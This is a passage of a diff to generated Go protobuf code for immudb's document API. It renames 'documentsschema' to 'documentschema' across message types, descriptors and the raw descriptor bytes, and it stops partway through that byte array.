`protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentsschema.QueryOperator" json:"operator,omitempty"` + Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` } func (x *DocumentQuery) Reset() { *x = DocumentQuery{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[3] + mi := &file_documentschema_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -369,7 +369,7 @@ func (x *DocumentQuery) String() string { func (*DocumentQuery) ProtoMessage() {} func (x *DocumentQuery) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[3] + mi := &file_documentschema_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -382,7 +382,7 @@ func (x *DocumentQuery) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentQuery.ProtoReflect.Descriptor instead. func (*DocumentQuery) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{3} + return file_documentschema_proto_rawDescGZIP(), []int{3} } func (x *DocumentQuery) GetField() string { @@ -420,7 +420,7 @@ type DocumentSearchRequest struct { func (x *DocumentSearchRequest) Reset() { *x = DocumentSearchRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[4] + mi := &file_documentschema_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -433,7 +433,7 @@ func (x *DocumentSearchRequest) String() string { func (*DocumentSearchRequest) ProtoMessage() {} func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[4] + mi := &file_documentschema_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -446,7 +446,7 @@ func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{4} + return file_documentschema_proto_rawDescGZIP(), []int{4} } func (x *DocumentSearchRequest) GetCollection() string { @@ -491,7 +491,7 @@ type DocumentSearchResponse struct { func (x *DocumentSearchResponse) Reset() { *x = DocumentSearchResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[5] + mi := &file_documentschema_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -504,7 +504,7 @@ func (x *DocumentSearchResponse) String() string { func (*DocumentSearchResponse) ProtoMessage() {} func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[5] + mi := &file_documentschema_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -517,7 +517,7 @@ func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{5} + return file_documentschema_proto_rawDescGZIP(), []int{5} } func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { @@ -561,7 +561,7 @@ type DocumentProofRequest struct { func (x *DocumentProofRequest) Reset() { *x = DocumentProofRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[6] + mi := &file_documentschema_proto_msgTypes[6] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -574,7 +574,7 @@ func (x *DocumentProofRequest) String() string { func (*DocumentProofRequest) ProtoMessage() {} func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[6] + mi := &file_documentschema_proto_msgTypes[6] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -587,7 +587,7 @@ func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentProofRequest.ProtoReflect.Descriptor instead. func (*DocumentProofRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{6} + return file_documentschema_proto_rawDescGZIP(), []int{6} } func (x *DocumentProofRequest) GetCollection() string { @@ -622,7 +622,7 @@ type DocumentProofResponse struct { func (x *DocumentProofResponse) Reset() { *x = DocumentProofResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[7] + mi := &file_documentschema_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -635,7 +635,7 @@ func (x *DocumentProofResponse) String() string { func (*DocumentProofResponse) ProtoMessage() {} func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[7] + mi := &file_documentschema_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -648,7 +648,7 @@ func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentProofResponse.ProtoReflect.Descriptor instead. func (*DocumentProofResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{7} + return file_documentschema_proto_rawDescGZIP(), []int{7} } func (x *DocumentProofResponse) GetProof() *schema.VerifiableTx { @@ -672,7 +672,7 @@ type DocumentAuditRequest struct { func (x *DocumentAuditRequest) Reset() { *x = DocumentAuditRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[8] + mi := &file_documentschema_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -685,7 +685,7 @@ func (x *DocumentAuditRequest) String() string { func (*DocumentAuditRequest) ProtoMessage() {} func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[8] + mi := &file_documentschema_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -698,7 +698,7 @@ func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditRequest.ProtoReflect.Descriptor instead. func (*DocumentAuditRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{8} + return file_documentschema_proto_rawDescGZIP(), []int{8} } func (x *DocumentAuditRequest) GetCollection() string { @@ -743,7 +743,7 @@ type DocumentAuditResponse struct { func (x *DocumentAuditResponse) Reset() { *x = DocumentAuditResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[9] + mi := &file_documentschema_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -756,7 +756,7 @@ func (x *DocumentAuditResponse) String() string { func (*DocumentAuditResponse) ProtoMessage() {} func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[9] + mi := &file_documentschema_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -769,7 +769,7 @@ func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAuditResponse.ProtoReflect.Descriptor instead. func (*DocumentAuditResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{9} + return file_documentschema_proto_rawDescGZIP(), []int{9} } func (x *DocumentAuditResponse) GetResults() []*DocumentAudit { @@ -812,7 +812,7 @@ type DocumentAudit struct { func (x *DocumentAudit) Reset() { *x = DocumentAudit{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[10] + mi := &file_documentschema_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -825,7 +825,7 @@ func (x *DocumentAudit) String() string { func (*DocumentAudit) ProtoMessage() {} func (x *DocumentAudit) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[10] + mi := &file_documentschema_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -838,7 +838,7 @@ func (x *DocumentAudit) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentAudit.ProtoReflect.Descriptor instead. func (*DocumentAudit) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{10} + return file_documentschema_proto_rawDescGZIP(), []int{10} } func (x *DocumentAudit) GetValue() *_struct.Struct { @@ -860,13 +860,13 @@ type IndexOption struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Type IndexType `protobuf:"varint,1,opt,name=type,proto3,enum=immudb.documentsschema.IndexType" json:"type,omitempty"` + Type IndexType `protobuf:"varint,1,opt,name=type,proto3,enum=immudb.documentschema.IndexType" json:"type,omitempty"` } func (x *IndexOption) Reset() { *x = IndexOption{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[11] + mi := &file_documentschema_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -879,7 +879,7 @@ func (x *IndexOption) String() string { func (*IndexOption) ProtoMessage() {} func (x *IndexOption) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[11] + mi := &file_documentschema_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -892,7 +892,7 @@ func (x *IndexOption) ProtoReflect() protoreflect.Message { // Deprecated: Use IndexOption.ProtoReflect.Descriptor instead. func (*IndexOption) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{11} + return file_documentschema_proto_rawDescGZIP(), []int{11} } func (x *IndexOption) GetType() IndexType { @@ -915,7 +915,7 @@ type CollectionCreateRequest struct { func (x *CollectionCreateRequest) Reset() { *x = CollectionCreateRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[12] + mi := &file_documentschema_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -928,7 +928,7 @@ func (x *CollectionCreateRequest) String() string { func (*CollectionCreateRequest) ProtoMessage() {} func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[12] + mi := &file_documentschema_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -941,7 +941,7 @@ func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{12} + return file_documentschema_proto_rawDescGZIP(), []int{12} } func (x *CollectionCreateRequest) GetName() string { @@ -976,7 +976,7 @@ type CollectionCreateResponse struct { func (x *CollectionCreateResponse) Reset() { *x = CollectionCreateResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[13] + mi := &file_documentschema_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -989,7 +989,7 @@ func (x *CollectionCreateResponse) String() string { func (*CollectionCreateResponse) ProtoMessage() {} func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[13] + mi := &file_documentschema_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1002,7 +1002,7 @@ func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionCreateResponse.ProtoReflect.Descriptor instead. func (*CollectionCreateResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{13} + return file_documentschema_proto_rawDescGZIP(), []int{13} } func (x *CollectionCreateResponse) GetCollection() *CollectionInformation { @@ -1025,7 +1025,7 @@ type CollectionInformation struct { func (x *CollectionInformation) Reset() { *x = CollectionInformation{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[14] + mi := &file_documentschema_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1038,7 +1038,7 @@ func (x *CollectionInformation) String() string { func (*CollectionInformation) ProtoMessage() {} func (x *CollectionInformation) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[14] + mi := &file_documentschema_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1051,7 +1051,7 @@ func (x *CollectionInformation) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionInformation.ProtoReflect.Descriptor instead. func (*CollectionInformation) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{14} + return file_documentschema_proto_rawDescGZIP(), []int{14} } func (x *CollectionInformation) GetName() string { @@ -1086,7 +1086,7 @@ type CollectionGetResponse struct { func (x *CollectionGetResponse) Reset() { *x = CollectionGetResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[15] + mi := &file_documentschema_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1099,7 +1099,7 @@ func (x *CollectionGetResponse) String() string { func (*CollectionGetResponse) ProtoMessage() {} func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[15] + mi := &file_documentschema_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1112,7 +1112,7 @@ func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionGetResponse.ProtoReflect.Descriptor instead. func (*CollectionGetResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{15} + return file_documentschema_proto_rawDescGZIP(), []int{15} } func (x *CollectionGetResponse) GetCollection() *CollectionInformation { @@ -1133,7 +1133,7 @@ type CollectionGetRequest struct { func (x *CollectionGetRequest) Reset() { *x = CollectionGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[16] + mi := &file_documentschema_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1146,7 +1146,7 @@ func (x *CollectionGetRequest) String() string { func (*CollectionGetRequest) ProtoMessage() {} func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[16] + mi := &file_documentschema_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1159,7 +1159,7 @@ func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. func (*CollectionGetRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{16} + return file_documentschema_proto_rawDescGZIP(), []int{16} } func (x *CollectionGetRequest) GetName() string { @@ -1178,7 +1178,7 @@ type CollectionListRequest struct { func (x *CollectionListRequest) Reset() { *x = CollectionListRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[17] + mi := &file_documentschema_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1191,7 +1191,7 @@ func (x *CollectionListRequest) String() string { func (*CollectionListRequest) ProtoMessage() {} func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[17] + mi := &file_documentschema_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1204,7 +1204,7 @@ func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. func (*CollectionListRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{17} + return file_documentschema_proto_rawDescGZIP(), []int{17} } type CollectionListResponse struct { @@ -1218,7 +1218,7 @@ type CollectionListResponse struct { func (x *CollectionListResponse) Reset() { *x = CollectionListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[18] + mi := &file_documentschema_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1231,7 +1231,7 @@ func (x *CollectionListResponse) String() string { func (*CollectionListResponse) ProtoMessage() {} func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[18] + mi := &file_documentschema_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1244,7 +1244,7 @@ func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. func (*CollectionListResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{18} + return file_documentschema_proto_rawDescGZIP(), []int{18} } func (x *CollectionListResponse) GetCollections() []*CollectionInformation { @@ -1265,7 +1265,7 @@ type CollectionDeleteRequest struct { func (x *CollectionDeleteRequest) Reset() { *x = CollectionDeleteRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[19] + mi := &file_documentschema_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1278,7 +1278,7 @@ func (x *CollectionDeleteRequest) String() string { func (*CollectionDeleteRequest) ProtoMessage() {} func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[19] + mi := &file_documentschema_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1291,7 +1291,7 @@ func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{19} + return file_documentschema_proto_rawDescGZIP(), []int{19} } func (x *CollectionDeleteRequest) GetName() string { @@ -1312,7 +1312,7 @@ type CollectionDeleteResponse struct { func (x *CollectionDeleteResponse) Reset() { *x = CollectionDeleteResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[20] + mi := &file_documentschema_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1325,7 +1325,7 @@ func (x *CollectionDeleteResponse) String() string { func (*CollectionDeleteResponse) ProtoMessage() {} func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[20] + mi := &file_documentschema_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1338,7 +1338,7 @@ func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionDeleteResponse.ProtoReflect.Descriptor instead. func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{20} + return file_documentschema_proto_rawDescGZIP(), []int{20} } func (x *CollectionDeleteResponse) GetResponse() *empty.Empty { @@ -1359,7 +1359,7 @@ type Proof struct { func (x *Proof) Reset() { *x = Proof{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[21] + mi := &file_documentschema_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1372,7 +1372,7 @@ func (x *Proof) String() string { func (*Proof) ProtoMessage() {} func (x *Proof) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[21] + mi := &file_documentschema_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1385,7 +1385,7 @@ func (x *Proof) ProtoReflect() protoreflect.Message { // Deprecated: Use Proof.ProtoReflect.Descriptor instead. func (*Proof) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{21} + return file_documentschema_proto_rawDescGZIP(), []int{21} } func (x *Proof) GetName() string { @@ -1395,425 +1395,423 @@ func (x *Proof) GetName() string { return "" } -var File_documentsschema_proto protoreflect.FileDescriptor - -var file_documentsschema_proto_rawDesc = []byte{ - 0x0a, 0x15, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x16, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x1a, - 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1b, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x65, - 0x6d, 0x70, 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, 0x75, - 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, - 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, - 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x22, 0x4b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, - 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, - 0xbc, 0x01, 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, - 0x0a, 0x0a, 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, - 0x52, 0x09, 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, - 0x75, 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x01, 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x12, 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, - 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x96, - 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x41, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, - 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 